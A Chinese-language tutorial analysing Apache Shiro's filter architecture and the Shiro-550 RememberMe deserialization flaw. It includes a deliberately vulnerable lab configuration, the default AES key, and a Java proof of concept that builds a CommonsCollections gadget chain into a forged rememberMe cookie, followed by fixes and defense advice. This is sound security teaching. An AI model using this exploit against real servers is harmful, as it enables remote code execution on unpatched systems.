Java 安全 | 从 Shiro 底层源码看 Shiro 漏洞 (下)
字数 2008 2025-08-20 18:17:59
Apache Shiro 安全漏洞分析与教学文档
1. Shiro 核心架构解析
1.1 核心组件关系
- FilterChainResolver:负责解析请求路径并匹配对应的过滤器链
- PathMatchingFilterChainResolver:实现类,将FilterChainManager设置进去
- SpringShiroFilter:核心过滤器,继承OncePerRequestFilter
- 封装request/response为ShiroHttpServletRequest/ShiroHttpServletResponse
- 实现HttpServletRequest/HttpServletResponse接口
1.2 认证流程
-
Subject创建流程:
WebSubject.Builder构建SubjectContext- SubjectContext是一个Map,包含:
- SecurityManager
- ShiroServletRequest
- ShiroServletResponse
- 当前HTTP请求状态
-
认证检查顺序:
- 首先检查SESSION中是否存在用户信息
- 如果SESSION不存在或无效,则通过RememberMe组件反序列化用户信息
-
Subject执行:
WebDelegatingSubject执行SubjectCallable- 将Subject与线程绑定
- 匹配URI与FilterChainManager中的配置
1.3 过滤器链执行
-
匹配流程:
- 获取当前URI
- 与FilterChainManager中的URI逐步匹配
- 匹配成功后调用
filterChainManager.proxy()
-
过滤器示例:
AnonymousFilter(anon):直接返回true,允许所有访问LogoutFilter(logout):调用subject.logout()清空状态UserFilter:在父类中定义复杂逻辑
2. 环境搭建指南
2.1 SpringMVC环境配置
Maven依赖:
<dependencies>
<!-- 基础依赖 -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.8</version>
</dependency>
<!-- Shiro相关 -->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.3</version>
</dependency>
<!-- 漏洞利用链 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
web.xml配置:
<filter>
<filter-name>shiroFilter</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
ApplicationContext.xml配置:
<bean id="defaultWebSecurityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="rememberMeManager">
<bean class="org.apache.shiro.web.mgt.CookieRememberMeManager">
<property name="cookie">
<bean class="org.apache.shiro.web.servlet.SimpleCookie">
<property name="name" value="rememberMe"/>
<property name="maxAge" value="60"/>
</bean>
</property>
</bean>
</property>
<property name="realm">
<bean class="com.heihu577.realm.MyRealm"/>
</property>
</bean>
<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
<property name="filterChainDefinitionMap">
<map>
<entry key="/index" value="user"/>
<entry key="/login" value="anon"/>
<entry key="/user/login" value="anon"/>
<entry key="/**" value="authc"/>
</map>
</property>
<property name="securityManager" ref="defaultWebSecurityManager"/>
</bean>
2.2 自定义Realm示例
public class MyRealm extends AuthorizingRealm {
@Override
public String getName() {
return "myRealm";
}
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
return null;
}
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) {
UsernamePasswordToken upToken = (UsernamePasswordToken) token;
String username = upToken.getUsername();
return new SimpleAuthenticationInfo(username, "heihu577", getName());
}
}
3. Shiro-550漏洞深度分析
3.1 漏洞条件
- Shiro版本 < 1.2.4
- 启用了RememberMe功能
- 存在可利用的反序列化链(如commons-collections)
3.2 漏洞原理
-
RememberMe处理流程:
- 获取Cookie中的rememberMe值
- Base64解码
- 使用AES解密(密钥硬编码)
- 反序列化解密后的数据
-
关键问题:
- AES加密使用默认密钥
kPH+bIxk5D2deZiIxcaaaA== - 攻击者可伪造加密数据
- AES加密使用默认密钥
3.3 漏洞利用POC
public class MyExp01 {
public static void main(String[] args) throws Exception {
AesCipherService aesCipherService = new AesCipherService();
// 构造恶意TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
bytecodes.setAccessible(true);
// 设置恶意字节码
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类Base64");
bytecodes.set(templates, myBytes);
name.set(templates, "");
// 构造CC链
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
// 生成最终payload
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "heihu577");
HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
hsMap.put(tiedMapEntry, "value");
// 序列化并加密
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hsMap);
oos.close();
byte[] encrypted = aesCipherService.encrypt(bos.toByteArray(),
Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")).getBytes();
String rememberMe = Base64.encodeToString(encrypted);
System.out.println("rememberMe=" + rememberMe);
}
}
3.4 漏洞修复方案
- 升级Shiro到1.2.4及以上版本
- 自定义RememberMe加密密钥:
CookieRememberMeManager rememberMeManager = new CookieRememberMeManager(); rememberMeManager.setCipherKey(Base64.decode("自定义密钥")); securityManager.setRememberMeManager(rememberMeManager); - 禁用RememberMe功能(如不需要)
4. DelegatingFilterProxy机制解析
4.1 核心作用
- 在Spring MVC环境中桥接传统Filter与Spring Bean
- 解决Tomcat注册Filter在Spring容器初始化之前的问题
4.2 关键方法
-
init:
- 初始化
targetFilterLifecycle配置 - 保存
filterConfig和targetBeanName
- 初始化
-
doFilter:
- 获取Spring容器中的Filter Bean
- 根据配置调用目标Filter的init方法
- 委托调用目标Filter的doFilter方法
4.3 与SpringBoot区别
- SpringBoot使用
FilterRegistrationBean自动注册Filter - Spring MVC需要手动配置
DelegatingFilterProxy
5. 防御建议
- 及时升级:保持Shiro最新版本
- 密钥管理:
- 避免使用默认密钥
- 定期轮换密钥
- 反序列化防护:
- 使用
SerializationWhitelist - 限制反序列化类
- 使用
- 最小权限:Realm实现遵循最小权限原则
- 监控审计:记录异常认证尝试
6. 扩展知识
-
其他Shiro漏洞:
- Shiro-721(Padding Oracle漏洞)
- 权限绕过漏洞(CVE-2020-13933)
-
安全开发建议:
- 避免在RememberMe中存储敏感信息
- 自定义Filter时注意安全边界
- 定期安全审计
-
调试技巧:
- 关键断点:
AbstractShiroFilter.doFilterInternalDefaultSecurityManager.resolvePrincipalsCookieRememberMeManager.getRememberedPrincipals
- 关键断点: